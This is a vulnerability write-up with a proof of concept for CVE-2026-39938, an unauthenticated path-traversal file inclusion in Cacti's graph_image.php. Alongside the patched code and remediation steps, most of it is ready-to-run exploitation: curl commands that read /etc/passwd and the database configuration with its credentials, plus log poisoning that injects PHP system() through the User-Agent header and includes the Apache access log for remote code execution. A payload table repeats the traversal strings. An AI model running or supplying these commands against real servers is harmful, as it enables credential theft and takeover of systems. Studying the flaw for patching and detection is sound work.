CVE-2026-39938: Cacti <= 1.2.30 - Unauthenticated LFI

Executive Summary

Field	Value
CVE ID	CVE-2026-39938
CVSS Score	9.8 (Critical)
Affected Product	Cacti
Affected Versions	<= 1.2.30
Patched Version	1.2.31
Fix Commit	9871f0c

Vulnerability Details

Root Cause

The vulnerability exists in lib/rrd.php where the graph_theme parameter is used directly without sanitization:

VULNERABLE CODE:

if (isset($graph_data_array['graph_theme'])) {
    $rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}

PATCHED CODE:

if (isset($graph_data_array['graph_theme'])) {
    $theme = basename($graph_data_array['graph_theme']);
    if ($theme === '' || $theme === '.' || $theme === '..') {
        $theme = get_selected_theme();
    }
    $rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}

The issue: No validation against ../ path traversal sequences, allowing attackers to read arbitrary files without authentication.

Proof of Concept (PoC) - Simple Steps

Step 1: Verify Vulnerability - Read /etc/passwd

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"

Result: Contents of /etc/passwd will be displayed in the response.

Step 2: Read Database Configuration

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"

Result: Database credentials (username, password) will be exposed.

Step 3: Remote Code Execution via Log Poisoning

3.1 Inject PHP Code into Apache Log

curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
  -H "User-Agent: <?php system('id'); ?>"

3.2 Execute the Code by Including Log File

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"

Result: Command output (e.g., uid=33(www-data)) will be displayed.

Common Endpoints Tested

PoC URL Examples

Basic LFI Test

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd

Read Application Config

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php

Log Poisoning (Injection)

http://target-cacti/graph_image.php?local_graph_id=1

With Header: User-Agent: <?php system('id'); ?>

Log Poisoning (Execution)

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log

Remediation

Update to Patched Version

cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31

Verify Patch Applied

grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename

Temporary Mitigation (.htaccess)

RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]

References

W.P.E.F

Report generated for security research purposes Date: June 27, 2026

`/graph_image.php`	`graph_theme`	`../../../../../../../etc/passwd`
`/graph_image.php`	`graph_theme`	`../../../../include/config.php`
`/graph_image.php`	`graph_theme`	`../../../../../../../var/log/apache2/access.log`

By-Poloss..-..CVE-2026-39938

Most Popular